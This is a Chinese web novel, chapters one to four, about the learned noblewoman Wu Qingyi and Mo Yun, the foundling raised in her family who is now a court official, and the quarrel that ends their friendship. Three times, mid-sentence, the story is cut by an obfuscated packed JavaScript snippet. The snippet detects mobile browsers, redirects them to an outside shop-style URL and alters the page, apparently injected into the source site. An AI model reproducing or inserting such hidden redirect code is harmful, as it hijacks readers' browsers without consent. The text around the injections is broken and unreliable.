《阴湿弃犬能否成为贵门才女的抚慰小狗》 1. 遗梦咏雪 “哎,点了灯,记得将东边的窗合上,瞧着有些凉了,别让贵人吹着风。” 管事的侍女身形款款,她眼瞧着暮色渐沉,伸手拦了要去点灯的侍女姑娘,低声嘱咐了些什么,小侍女诺诺应道,管事的瞧着是个机灵的孩子,收回了睥出去的眼神,挪步离开了。 眼前的长廊和廊外的草木昏沉了不少,说是草木,如今已是冬日,泥土之上残存的不过些许枯枝,小侍女绕过走廊,点灯,动作娴熟,想来是做过千百遍了。 屋内的主人家正招待客人,李吴交好,正在屋内饮酒作赋的,就是李氏人和主人家吴氏族人。 此时气氛正浓,长辈与小儿同坐论诗,没有身份的拘束,唯有茶香肆意,熏香弥漫,蒲团堆放在一起,锦衣华袍覆于其上。 坐席之间,突然站起来一个身着月牙白罗襦的男子,他身形清俊,容貌明朗,如同一览无余的穹空那般透彻,好一个李氏青年。 他不知喝了几两玉露琼浆,眼下起身走至窗前,不免有些身形摇晃不稳,但不知是衣摆荡起的弧度太过风流,还是其散落的发丝太过飘逸,这一番左右四顾,倒是显得他颇具脱尘之气。 吱呀一声,窗子被他推开了。 雪簌簌而下,风起,斜斜的歪着,齐排排散落,又像漫天的迷雾那般朦胧,枝干不多时便白衣素裹,远处望去,也是一片洁净了。 身着白衣之人,眼观此景愣在原地,待他反应过来眼前是何等的美景之后,便飘飘然陶醉其中,摇头晃脑的闭上了眼睛,紧接着他就要启唇吟诗“暮雪落——” “嘭”的一声轻响,诗句戛然而止。 “落你个大头鬼,冻死了!忘了小妹尚病中了吗,来人,速拿狐裘来。”一身藏蓝衣裳的男子猛叩了上去,叩的窗边之人惊诧回眸,也惹的屋内众人嬉笑出声。 坐席之上多是风雅男子,位列三公的刺史吴决,与好友李安李公,以及年少的士族子弟,乌泱泱的嬉笑开来,唯一女子于其中格外出众。 哪怕她坐于才华横溢的士族子弟群中,其风采荣光也难以被掩盖。 这位被称作小妹的女子,身着淡黄色的袄子,袖口和领口带有忍冬纹,一看就知是上好的料子,窗边为她出头的小插曲引得她抬眸望去,发丝垂下,长须微蜷,乖巧的落在她的肩上。 吴量之女,吴决之侄,母亲出自江东栾家,名门闺秀,一家子才子养育出的女儿自然不是凡夫俗子可以相比。此女之上还有几个哥哥,作为最小的妹妹,她锦衣玉食,从小就出入贵门,见识颇广。 女子宠辱不惊,眸色莹润,唯面中带了些白,唇角略微干裂可看出她尚在病中,不肖说别的,就单她的样貌就足以适配吴公亲自为她取得字。 灵岫。 “灵岫妹妹,是我唐突思虑不周了,我这就合上。”白衣男子一边说着,一边作势要将窗外美景拒之门外,“还有你,吴老三,下手能不能轻点,你要、要打晕我的头了。” 一旁被称作吴老三的人无奈摇头,他扭头看向自家小妹,似乎在确定她是否无恙。刚扭过头,就和妹妹亮晶晶的眼睛对上,她轻轻的摆手,示意无事。 刚回过哥哥的话,其余众人的问候也接踵而至,灵岫带着笑意一一回复,没有半分不耐,落落大方。 李公的视线也不免停留在这个小辈的身上,他和吴公对酌,暗自点头,对好友教导后代的方式,很是赞许。 纵观两族晚辈,不乏有才华横溢之人,与自家李氏不同,吴氏家族更为开放平等,麻生蓬中,不扶自直。 灵岫自小就活泼开朗,聪慧机敏,深得两家众人的喜爱。 与哥哥想要关窗避风的想法不同,灵岫虽在病中,心思却在窗外的寒风之中,方才李家人将窗推开之时,她也偷得半分风采。 既然有美景在手边,何苦坐在温室之内? 她直起身,向自家叔父那边探去,随着她的动作发丝倾泻下来如水瀑般,灵岫皎白的容颜闯入众人的视线之中,引得先前未见过她的李氏小儿纷纷失神,衣袖宽大,她轻轻的理顺好,以手抚之。 “叔父,灵岫观窗外落雪,实在不忍错过,暮时雪景想必也别有一番雅致。”清脆的女声起兴提议道。 “灵岫说的是,良辰美景在前,何不同去雪中做客,走吧。” …… 吴公起了个头,让本就爱雪的孩童都得了许可奔向屋外,连带着方才在窗边吟诗的青年都雀跃着踱步出了门,一时间,众人远去,屋内只剩下了徐徐起身的灵岫姑娘和一旁静坐漠然的冷俊少年。 与门外那些正赏雪的士族公子哥不同,他的衣着并不华贵,甚至说的是质朴,此时门大开着,吹进的寒风更衬得他面上一片霜色,似乎这个人生来就是不会笑的,无论在多么其乐融融的场景中,眼底都是化不开的凉薄。 “你要去?” 少年人清朗的声音说着没什么情绪的话,屋内安静,唯这一人悦耳的嗓音回响在屋檐之下。 已经站起身准备披上狐裘的女子轻轻的眨了眨眼,挑眉奇怪的回身看了他一眼,好像很不明白他说这样的话,窗外飘雪,她怎会错过。 不知是不是正在生病的缘故,灵岫动作很慢,由她勾起的赏雪大会,迟迟未迎到她本人的身影。 半晌,那个少年好似是无奈的叹了口气,他没多说什么,只是接过了侍女臂弯的狐裘,轻轻的披在了女子身上,他很瘦,指骨节节分明,修长的手系好了姑娘的外衣。 “走吧,灵岫才女。” 院中草木错落有致,已是一身银白,雪渐渐大了,孩童顽皮大闹于其中,欢笑声响彻暮色,青年不畏严寒,提着酒就要作势喊着好友雪中共饮,此情此景,真的是有几分荒唐,生怕那青年喝狂了昏睡在雪地上。 但众人显然是见怪不怪了,吴公和李公也只是无奈摇头,随年轻人去了,毕竟他们青年之时,也是风流过的。 雪下的大了,吴公引大家作诗,就以雪为题。 那位月牙白罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468331|201344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 襦青年,咽下口中的玉液琼浆,放任先前被打断的诗句脱口而出:“寒烟凝远岫,暮雪满空林。不见兰亭客,惟闻折竹音。” “好诗,好诗!” “暮雪落空林,这个落,雅喔。” “再来再来。” …… 少年看到那个早有才女美名的女子走进雪夜里,越走越远,迎着风,衣袖飘逸,系带翻飞,她张开双臂,露出惊鸿侧脸仿若洛神。 然后,她薄唇轻启,咏了一句诗—— …… “郎君、郎君?” 长椅上睡去的那道身影眉头蹙起,他抬起手覆住了自己的眼,似乎正按捺下些许情绪,一身青色的官服尚未来得及脱下,这位年轻的官员就在椅背上与旧梦纠缠。 见侍郎官醒来,一旁唤他的侍者才长舒一口气,松懈下来,这一喘息就惊觉自己早已经是一身的冷汗。 今日本不是他当值,实在是这新上任不久的侍郎官太过阴晴不定,惹的一众童侍揣揣不安,平日里下人们就不敢触他的霉头,做事能避开他就避开。 将人从睡梦中唤醒,非得把那些个孩子吓破胆不可,若不是今日来访的……若是普通来客,也就直接推掉了。 “何事?” “回郎君,有客来访。” “什么人?” “回郎君,吴氏之人,吴庆漪。” 侍者恭敬回话,行礼等候指令,可过了好一会儿,都没再听到些许言语,细密密的汗从他的额角溢出,汇成小溪一般流下划过面颊,他不禁想起了这位侍郎官的传闻。 此人瑕疵必报,与恩家反目成仇,背信弃义,犹如丧家野狗,无家教可言。 喉头滚动,侍者露出了一个比哭还难看的苦笑来。 不是吧,莫不是扰了侍郎官的清梦? 天老爷啊。 膝盖一软,侍者就要行礼请罪。 而座椅上那个按揉着双眼的人,完全不知道身旁的侍者正神游天外,以为自己将要命丧黄泉,他只觉访客之名正落在他的齿间。 吞也不是,吐也不是。 这位年轻的官员,丰神俊秀,有着天人之姿,他坐于椅上,随意张开的长腿劲瘦有力,桌上摊开的黄纸工整着写着要务,那封会落人口舌的行书,早已被他烧掉毁去痕迹。 可那行书所述之事,他皆照做,无法毁去。 来客所为何事,他心中明了。思及此,侍郎官又不免感到头疼,伸手以指抵额,试图压抑下感到不适的身体。 “走吧。” 侍者正要跪不跪的,听到侍郎官低沉的嗓音,仿佛听见天籁般飘飘然解脱了,正慌神的间空,那道青色的身影已经向外踱步,跨过门槛了。 徒留侍者一人站在原地…… 这对吗? 怎么感觉郎君有几分落荒而逃? 突然,侍者又想起了什么,猛地一拍脑门,脚下生风的去追自家主子了,还没更衣,还没更衣啊! 2. 割席咏雪 第二章: 门廊有光影穿过,斑驳的下午日光打在庭院的台阶上,花草正在抽条生长,枝叶稚嫩,乃是初春时孕育的点点绿意,不知为何,乌衣巷内的这处宅院,就连花草都和别处不同。 此时临近春日宴,不说是绿意盎然,也该是生机勃勃了。 可这……小侍者急于追上阔步走在前面的郎君,步履细碎紧密,衣角卷起的风连一朵花,一片翠绿的叶都吹不着。 相较于乌衣巷的其他官员府邸,中书侍郎的院落,像是晚了一个春一般,毫无暖意。 “哎,郎君、郎君!” 青衣官员已经走至轩榭之间了。 ———— “娘子在此稍坐片刻,公子一会儿就来,我让人先去煮茶,今日晴朗,娘子用一壶花茶可好?” 侍者阿常如是说道,他微躬着身,招呼侍女去煮茶,自己候在那位来客身旁,和侍女与贵客闲聊一二,态度虽恭敬却又不失娴熟。 侍郎府上的其余下人都站在几步远的亭外,侍弄花草或是远眺发呆,随时准备听候宾客的差遣。 而贵客身旁的侍女显然也是非常熟悉侍者的,她衣着得体,梳着灵动的环髻,裙裾虽无精细的纹样,但布料立挺,可见得其身份远超普通的仆役。 阿常脸带笑意,和侍女阿昌话谈着,询问着府中近日事宜,“有段时日没见了,不知阿昌妹妹温书了吗,过几日可就是春日宴了。” 他话音刚落,阿昌的眼刀就横了过来,眼黑眼白一转就叉腰回道:“好大的口气,不劳飞花斗输赢?有问我读书有无的功夫,不如回去跟你家公子一起烧香敬神。” 侍者被呛也不愠,端正的站着又回道:“杨柳依依春正好,何须烧香拜鬼神。你知道的,公子与李家人不同,不信那些。” 年轻的侍者二人你来我往,在树荫处的凉亭中斗了几回口舌功夫,谈吐有道,气氛也算得上融洽,来客身份不知有多尊贵,就连其侍女的功力都非常人。 随口吐出的诗词诗句,皆出自名家,就算是出自士族,和主人家再亲近的侍者都未必有这样的待遇。 也就是李吴共治的门阀之一,吴家有这般底蕴了。 杨柳枝蔓纤长,随风而舞,一左一右的两位侍者仍在唇枪舌战,坐在中间的吴庆漪静坐看向亭外的草木,没有说什么,好像身旁发生的事挑不起她的半分兴致,抑或是她心头悬挂着的那件事,占据了她的全部心神。 双鬓垂下的乌发柔顺,女子长睫轻颤,丹凤眼如同湖水一般莹润,春风入怀,她微微仰头,饮下茶水。 不远处的洒扫仆役都为这春景美人图一般的一幕失神,紧接着,众人在管事的咳嗽声里找回了自己的意识。 “别看了,贵人岂是你我可以冒犯的。” “怎么会直接入府在轩榭处等候,前厅呢?”不知是谁试探着嘀咕一句,声音不轻不重,足够被管事的听清,又不会传到亭中。 “你来得晚不知道,这位娘子是吴氏人。” “吴氏……莫非是那个吴家?!” “嘘嘘——莫要声张,如今京城中,除了那个吴家,还有哪个吴家?看到亭子里的侍者了吗?” “看到了,是阿常侍者——”突然,那个童仆顿悟一般,以手击额,显然是懂得了管事的未尽之意。 这位贵客,不只是直入轩榭一说,她还让郎君的贴身侍者亲自侍奉,要知道,这位阿常侍者可是在郎君未入中书省,也就是未入官途之前就跟着的了,和郎君情意很深。 不得了…… 童仆低下头,不再好奇打量了。谁知道会不会跑神的时候对上郎君的目光……不得了不得了,他可惜命呢。 “今日朝中并无要事,我出府时,叔父已归家。”吴庆漪轻声开口说道。 几乎是她发话的同一瞬间,阿常就端正了神情,听候指示,“回娘子,公子下朝后与将军议事,想来是有事耽搁了,不过娘子放心,早已派人去知会公子了,此时应在来的路上了。” 说罢,他停顿一二,状似无意的开口道:“春寒料峭,娘子和阿昌身体可好?近来听公子鼻音稍重,隐隐有发热的迹象,娘子和阿昌也要保重身体。” 阿常话音刚落,不等吴庆漪回答,就见她身旁的阿昌已然炸毛,阿昌猛地回头瞪他,“谁要听你公子的事!” 眼看着又要绊起嘴来,吴庆漪有些无奈的揉了揉眉心,轻轻的拍了拍阿昌的小臂,“阿昌,无事。” “好了好了,你们二人自小一同长大,情谊深厚,不必为这事起口角,难得这么久没见,没什么别的话要说?” 娘子亲自和稀泥,两位侍者哪里会不给她面子。只是……阿常垂眸,遮住了眼底的情绪,他大半身子背光,一时之间多了些许忧郁的愁思,见他突然熄火,阿昌还奇怪的瞧了他几眼。 说到情谊深厚……两位贵人,又交情浅到哪里去了呢? 公子快来吧,阿常可是美言再三,无能为力了。 阿昌不再将精力放在阿常身上,她右手环抱着木质匣子,老实站在吴庆漪身后,只是时不时的飞几个眼刀过去对面。 当真是主仆同心,就连神情都一般无二。 阿常:……别以为我看不到—— 哎,公子来了。 侍者向吴庆漪后方行礼,阿昌见此紧跟着转身问候,再心有不满,礼不可荒废。 青衣官员闯入轩榭,他人长得高,步子迈的远,唤醒他的小侍者落后几步,几乎是小跑着跟过来,日光在官员身后拖出斜斜的黑影。 早在他跨入庭院之前,望见他身影的仆役们就四散退下了。 吴庆漪依旧端坐在亭中,没有转身,她只是托着腮看向流水的山石,姣好的侧容让人无法窥得她正在想什么。 梦中人恍然就在眼前,寒意不在,飞雪不在,春日的暖阳正斑驳在亭中,女子纤细的腰身由裙子勾勒着,长直的乌发垂下,一直垂到椅面的边沿,侍郎官凝神望去,吴庆漪抚袖饮茶,衣摆如涟漪一般泛起波澜。 面若冠玉的侍郎官驻足,他的面前是凉亭,身后是府内的花草景致。 阿常和阿昌皆低下头去,阿昌是因面有不爽不好抬头,阿常却是因对上了自家公子的眼睛,那番神情……哪怕是从小跟随公子的阿常都无法看透。 一丝笑意也无,只是浓稠的如同黑夜一般化不去的乌色。 已经进入官场的年轻的侍郎官,青色的纱袍飘逸,透出的纯白里衣为他的身份增添了些许至洁之气质,他脚踩红舄,腰间的革带使之身形分明,与寻常文官佩戴官印绶带不同,他腰间空无一物,唯劲瘦的腰身可观。 轩榭虽无繁茂的绿意,但也不算荒废,青衣之人踱步走来凉亭之前,风随影动,不似文臣一般锋利阴郁的面容忽明忽暗,薄唇始终禁闭,了无笑意。 在李家最难熬的日子,公子的神情都没有这么凝重过,在阿常的记忆里,公子哪怕是受尽屈辱,走到无路可走的绝境,都会以一个顽强而轻蔑的姿态破局。 因为他什么都不在意,所以藐视一切,所以才能屡屡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468332|201344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出其不意的开出一条生路。 风渐渐停了,一坐一立的二人像是陷入了僵局一般,没有人动作。 终于,青衣官员好像是叹了口气,提步向凉亭走去,见到他动身,阿常拿了新的茶盏,给公子斟茶,又为吴庆漪添了些茶水。 不知是谁在心中长舒一口气,轩榭中寂静安宁,惹的鸟雀振翅飞来院中,蹦跳着不知道在地上寻找着什么。 借着倒茶的功夫,阿常打量这两个人的神情,微微挑眉,娘子的视线是在凉亭之外的,好似面前并无来人,她等待的主人家尚未抵达,而自家公子的目光却落在茶盏中—— 仿佛茶被煮坏了一般…… 鉴于公子对茶的挑剔与讲究有史可寻,阿常皱了皱脸,准备亲自再煮一壶茶来,走之前他还不忘使眼色给阿昌。 阿昌太久没和阿常相处,猛地看到他挤眉瞪眼还有点不适应,她嘴张了又闭,几次想要说什么,最后还是老实闭上嘴,放下东西离开了。 木质匣子就这样被呈到了桌上,侍郎官眯了眯眼,他虽身居官位不久,可少年大器早成,自身气质本就带着让人捉摸不透的晦暗,像是南方潮湿的雨季一般,无论何人与他交锋,都心觉寒凉。 单他那双狭长恣意的双眸,就让人揣揣不安,那是一双明珠蒙尘的眼睛,明明生的极好,却因主人心情阴雨连绵而带了些许恹恹的困倦之色。 知情人侍者表示:确实是困了,刚被喊醒午觉,昨个儿又熬了大夜…… “你应知晓我会来。”梦中人先开口同青衣官员说了第一句话,女子声音清脆,是性情直爽之人方能展现出的利落之风。 不知道这文官是不是睡昏了头,听到这句话竟下意识的接道:“睡了,误了时辰。” 他在说为何来迟。 声音还带着大梦初醒的恍惚与阿常说的鼻音,言语之间带着解释的意味,似乎凉亭之下僵持的气氛不过是外人的揣测。 “我看你是昏了头了。”吴庆漪敛了神情,将茶盏放下,显然是因男子避而不谈的样子微愠。 不知是被女子所说的哪个字眼刺痛了神经,那文官猛地将视线投掷过去,狭长的双眼一寸一寸的逼迫向对面之人,像是面对的并非一位风华绝代的女子,而是一件棘手的案牍之作。 眉峰凌厉,鬓发乌黑,面相若险峻的山峦,稍有不慎就会跌破崖底,尸骨难存。 不怪乎他府中人惧怕,一介年轻的文官,竟然凝神之时仿佛身居高位已久,周身气度昏沉像是吸饱了墨水的发了霉的竹简,文人气质与怪异的沼气混在一起。 唯有进贤冠熠熠生辉,证实着此人身份之正统。 “李吴共治,李家的底细你又知道多少?”他沉着脸,回道。 吴庆漪失笑,端正的仪态因胸腔的震荡而灵动,她又回“新派之人,莫要管门阀之事了,看来你去意已决,既然如此,”她顿住,再开口时声音又冷了几分,“莫筠,你我割席。” 说罢,她将木匣一推,就要起身离开。 马上就要走下凉亭石阶的吴庆漪,自然不知道她这句话惹的背后之人何等的心绪不平,茶杯几乎被他丢在桌上一般,发出毫不符合礼仪的脆响。 长指蜷起,他喉头滚动。 “是吗,不用再做吴氏女的狗,于我而言,美事一桩。”男人似是嗤笑的间空,从牙缝里挤出这么一句话。 似乎是没料到身后之人吐出这种话,那位举止风雅的女子一时错愕,瞳孔收紧,鬓发被风吹乱,她用力的理好,头也不回的走了。 3. 咏絮咏雪 第三章: “公子、公子?人已经走了。” 阿常将桌上的茶水换好,动作麻利的将原先的茶盏洗净又斟上新茶,撤去旧茶的器具之时,不忘将吴庆漪的茶盏撤下。 方才阿常在煮茶的时候,有童仆来喊阿昌,他就知道二位主子的话谈结束,吴庆漪要离开了。 于是他紧忙端着茶回到凉亭,给自家公子上茶。 “公子昨夜歇的晚,何不回屋休息?太过劳累,万一加重了伤寒,可就不好了。” 莫筠仍是一副恹恹之态,长睫在眼底打下一小片阴影,他掀起眼皮,长袖随意一拂,示意阿常在他身旁坐下。 阿常无奈摇头,敦实的坐在了石凳上。 主仆二人静默了一会儿,无人前来打扰。 甚至无需阿常多问,吴庆漪与莫筠的谈话只有不欢而散一个结局,他自小就跟在青衣文官身后,对吴莫二人的性情都很了解。 吴庆漪,京中吴氏人,出自晋国权势最鼎盛的门阀之家,吴家自她叔父吴决开始,发展势如破竹,跻身门阀之首列,时陆家子孙不济,吴决之才被朝廷所赏识,于是李陆政权结束,开始了李吴之治。 作为哥哥的吴量虽在官场没有什么远大的志向,但在书法上造诣很高,吴家家风平等开放,兄弟妯娌关系亲近,骨血为盟,李吴之治的时候时局已经平稳,呈现出繁荣的盛况。 吴庆漪,作为家中最小的女儿,就是这个时候出生的。 说是天下最尊贵的女子也不为过,哪怕她是女儿,吴家也没有忽视她的教育,不光是跟随叔父学习诗词歌赋,琴艺画技,还要跟随哥哥们习武。 甚至以一介女流的身份,成为吴家小辈中最具才情之人,美名传于京城之内,无人不知。 “这样的女子,是不为世俗所困的。” 阿常一直这样认为,所以他很不理解自家公子何必做事这么绝,不能和娘子好好说吗?他是有苦衷的,娘子说不定……很理解他。 侍者坐在石椅上,不知自家公子刚才说了什么惊世骇俗的话,他还有几分天真的想着,没准有朝一日,两位主子可以握手言和。 毕竟,这可是自年少时就相伴的情意啊…… 能结什么仇。 此时阿常还不知道,这个“仇”会纠缠多久,他只是因无知而感到心安,完全没有意识到,当事人坐在他旁边已经许久未动了。 等他终于想起来自家公子的时候,就见那个身形硕长、坐于亭中的侍郎官,已经闭目养神,其身上那股混乱的沼气之风稀疏褪去,远远望去,和寻常士族的公子哥一般无二。 只是阿常知道,公子并非士族的公子。 他随风而轻盈飞舞的衣袍,不是士族子弟迈入官场的象征,而是无根之人空游无所依的写照,连柔韧的柳条都比不上。 柳枝尚有树干支撑。 莫筠什么都没有。 可是,阿常叹气,心中涌上一股名为“怜”的情感,却不知道是为了谁。 莫筠也并非从来没有,在他身穿薄履,日夜行走在冰面上以前,也曾有过一段快活恣意的日子,会和其他兄弟作伴投壶,或是春日宴上饮湖上之水,作诗抚琴。 哪怕是和富有才女之名的吴庆漪相比,也不落下风,甚至有时出的对子,连大名鼎鼎的灵岫才女都自愧不如呢。 是从什么时候结束的呢?阿常竟然有些记不清了。 青衣官员端坐着睡着了,将才休止的春风又重新的回到了凉亭之中,携着暖意吹拂着主仆二人。 粘连在青砖、树梢、草叶尖儿上的一团一团的柳絮,在春风的拂动下飘起来,浮到空中,像极了漫天飞舞的雪。 阿常有些失神。 侍者扭头,身旁一道青色的影子出了凉亭,神色清寂的托住了一朵柳絮,只可惜柳絮非雪,不会融化在他微凉的掌心,而是在下一股风吹来之时,乘势飞走了。 阿常在心中腹议,总觉得柳絮失控飞走之时,公子的脸也扭了一瞬,待他想要再看清楚些的时候,公子又是一幅恹恹之态。 年轻的文官轻轻地嗤笑一声,随后又摇了摇头,试图打发走于他无义的繁杂思绪。 此情此景,他竟然不合时宜的想起了梦中灵岫未说出口的那句诗—— “琼屑随风散,不觉满衣襟。” 即便莫筠饱受士族之风霜,认为一丘之貉的门阀众人,不过是淤泥恶臭中的蠕虫,他也不得不承认—— 出淤泥而不染的吴家,当真把吴庆漪养的极好。 她鲜活、直爽,满腹才情。 “不觉满衣襟,”他微微勾唇,低头打量了自己的官服,上面不知何时沾满了柳絮的残衣。 轩榭幽深之处,唯主仆二人的身影,柳枝飞舞,嫩芽簌簌作响,茶具早已撤下,此处已经看不出有客来过。 不知过了多久,青衣文官神色幽幽呢喃道。 “欲拂还停手,留作雪痕吟。” ———— “阿昌,灵岫这样……有多久了?”一位和吴庆漪年纪相仿的娘子神色诧异的站在树荫下,戳了戳阿昌的胳膊,悄声问道。 “啊,自从回来之后就这样了,娘子从中书侍郎那回的。”阿昌也挤着眉毛回道,声音越说越小,中书侍郎几个字几乎是气声了。 “嗷,哦哦。”那位娘子连连点头,做了个鬼脸。 这位和阿昌耳语之人,名吴町,与吴庆漪是堂姐妹,因吴量无心官场,于会稽山隐居,住在京城的吴庆漪便和表姐自小相伴,二人同是嫡系,如同亲姐妹一般。 吴町性子跳脱,是吴家出名的闹事主,自小没少带着堂妹去砸大人们的场子,若非灵岫深得长辈们喜爱,以及有谋士为其出谋划策,吴町可不能次次逃过家族惩戒。 她来了有一会儿了,是来找吴庆漪的。 只是眼下…… “嗖”长剑破空之声,响彻云霄,不远处的竹叶都跟着颤抖,剑气凌然,似有郁结之气急于抒发,想来是舞剑之人,心情不太好。 瞧着是有点,时机不善。 不过,既来之则安之,吴町虽是吴家最没正形的孩子,却也是最具吴家人气质的后代。 遇事莫强求,小妹就在这里,早一会儿玩一会儿无伤大雅。 “阿昌帮我搬个椅子来,好久没见灵岫舞剑了,我可看一会儿。” 啊? 阿昌原本还指望吴町帮着她劝劝娘子,这一个放火,一个把风可叫什么事? 愁容满面,侍女欲哭无泪,天知道,她已经守着灵岫一个钟了,娘子不累,她都看累了。 达拉着衣袖,阿昌听话地准备去搬椅子,突然,身后传来一阵清咳,“咳咳”,阿昌猛地回头,以为吴町回转心意,却没曾想,这位不着调的娘子悄声说:“再来杯茶。” 唉。 不知是谁长叹一声。 持剑之人一身素衣,松纹古剑在她手中,静时,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴町扶额,对日后的李吴之交感到难以预判,昔日好友莫非要反目成为对家?但话说回来,她望了望妹妹的脸,吴庆漪此时正在嘱咐阿昌好生放置古剑,女儿家柔美的面容带了些许英气。 谁能和这样的人作对? 是了,在吴町这里,从未想过二人之“割席”,等同于陌路人。 毕竟,那位在外传的沸沸扬扬的狼子野心之侍郎官,可是少年时与自家小妹同吃同住,登高诵诗之人啊,很少人知道,在中书侍郎莫筠成为李家人之前,曾做了很久吴府的公子。 那时吴庆漪年幼,性子纯善,不识人间疾苦,不知阶级门第有别。 她于冬日救下了一个弃子,亲自带回府中,不以为另类。 那时的她还未有“才女”之美名,只是寻常贵门子弟,女子身上独有的敏性使她格外亲近自然,常常感四季更迭而惆怅落泪,吴家哥哥们哪里懂得妹妹的愁思,只是一味的买些东西哄她。 那肯定是不管事,小庆漪一袖子将他们都挥到一边去了。 哥哥们愁眉苦脸不知如何是好,唯那被捡回来的弃子深谙哄人之道理。 谁也不知道他到底做了什么,才让愁眉苦脸,好似要化仙人飞去人间的贵女展颜,日日将他带在身边。 自此,形影不离。 4. 春日宴 第四章: 三月初三,又是一年上巳节。 暮春时节,京城早已染上蓊郁绿影,小河流盼鱼儿来,家家户户在水边洗濯,去除污秽,身体康健,还未识字的孩童,也成群结队的出游,奔向草野。 京中水边多丽人,日光明媚。 不过书房茶肆处,却与往日不同。聚集在一处的少有文学大家,多是些寒门子弟,和出外玩耍的百姓。 早在半月前,那个士族之间的春日宴,就在众人的商议下另设在了别处。 凡京城中受到邀请的人家,都提前驱车前往会稽一聚。或住到自家的会稽宅院之中,或住在友人的居所处。 也不光是些士族门阀人士,朝廷也派官员前往,皆从属中央,既有借此计划缓和派别之间剑拔弩张的关系,又有商讨北伐一事的思虑在。于是不止侍郎有令在身,散骑常侍也名列其中。 不过,派系之间的关系有没有这么好缓和就不知道了…… 杨柳依依,与前些日子吴莫二人割席之时相比,如今的柳枝说得上生机盎然,绿丝绦一般,让人可观夏日之触角。 …… “娘子,还在担心大人的身体吗?小公子晚些时候就到了,看到阿姊这般疲倦,他得多担心。” “吴连要来,”软榻上的女子歪了歪身子,轻轻的靠在软榻上,像是没有骨头的样子一般,她一张芙蓉面透着些许疲倦的苍白,丹凤眼微微眯着,看向窗棂之外的大片日光,“这几日过的匆忙,连小弟的事都记不住了。” 阿昌正在开窗子,身后那道幽幽的声音激起她心头一悸,侍者险些以为自己回到了小时候,那个自家娘子情绪起伏波动之大,如狂风天西湖之涟漪波荡的日子“是我没有提醒娘子,娘子别多想。” 大人的身体怎么不见好呢?已经半月有余了,依旧时常听到咳嗽声。侍者在心中这样想着,一边有些担忧的看向吴庆漪。 “会稽时常有新的游记,阿昌听忞之公子说起过,娘子要不要读一读,想来是与京中不同的文风。”侍者阿昌笑着说。 吴庆漪撑起身,侧着托腮看向阿昌,眉眼盈盈也无法遮掩自身的疲态,她自京中赶来会稽已有十数日,与哥哥同侍奉病中的父亲,吴量倒春寒头疾复发,眼下一直不见好。 她望向阿昌,唇角微弯点了点头。 看着侍者出了门,吴庆漪才渐渐抚平了嘴角,重新躺倒在软榻之上,父亲的病来势汹汹,她从未离病痛这般近。 贵门子弟,向来是锦衣玉食,习字的笔墨纸砚皆上等,习武的刀剑长矛也非凡品。 她轻轻的眨了眨眼,仰头看向窗子外面的鸟雀。 越是靠近树梢的枝干越是细瘦,不足掌心大的小鸟就站立其上,振翅,树梢随之震颤,暮春孕育的叶子在风的吹拂下摇晃,千万树梢绿叶交织在一起,方是夏日蓊郁繁茂之树冠。 “新叶满林夏欲深……” 吴庆漪伸手轻轻的触了触自己的额头,不明白自己是鸟雀,还是翠叶,那父亲呢?父亲是这繁茂的树冠,还是树冠中蔓延出的越发细瘦的树枝。 她直直的望了进去,不觉时间飞逝。 等吴庆漪再回神的时候,她的幼弟吴连已经兴冲冲的走进了她的居所,晚她一步到会稽的堂姐吴町也已经入府安置了。 吴町作为吴家人,本应同吴庆漪一同回老宅,但京中有事耽搁,便只能随父亲吴决前往会稽。 吴决在朝中身担重任,能在上巳节之前赶到会稽,实属不易。 他们来的路上还碰到了不少好友,包括李公及其子弟,江北谢氏谢庭,如今任大将军的胡不为…… 不少是吴量旧友,甚至离会稽甚远的郡县,也有不少人赶来。 如此阵容,实属一绝。 既是一反以往常态,选在了会稽,自然就少不了和会稽人士一同集会,于是这边有个善书法的文人雅士,就会附带上一个善骈文的好友,那边有个善抚琴的士族大家,就会捎带着一家老幼一同前往。 都在平日的交际圈当中,身份地位不说旗鼓相当,也是同属士族,不会有平庸之辈夹杂而入,即便是有少数几个寒门子弟,也是文采斐然的同好之人。 再加上近来京中喧闹已久的派别之争,新派之人撺头,开始试探着与门阀旧派分羹,一时让这场春日宴席越发的热闹起来,新派自然吆喝着新派同往,旧派亦然。 翠竹成林,暮春之时的微凉小风徐徐穿行,在风景最好,草木成荫的小溪之畔,侍者早已放好屏风长榻,酒盏数杯,笔墨纸砚,洗净的果子呈在器皿之中,不似在京中,会稽的草木景致无人打理,是为自然之风。 童仆犹豫再三,最终还是将蒲团放置地上。 虽然每次都没人用,一群人喝尽兴了就开始席地而坐,到处坐,果子也没人吃,野果倒是很受欢迎。 此时尚早,只有零星几人坐在不远处的山石旁望风。 “今日惠风和畅,真是好时节啊!” “说的对,光是坐在这里吹吹风,就觉得心中畅快了不少,不知一会儿有多少名流俊秀前来一聚。” 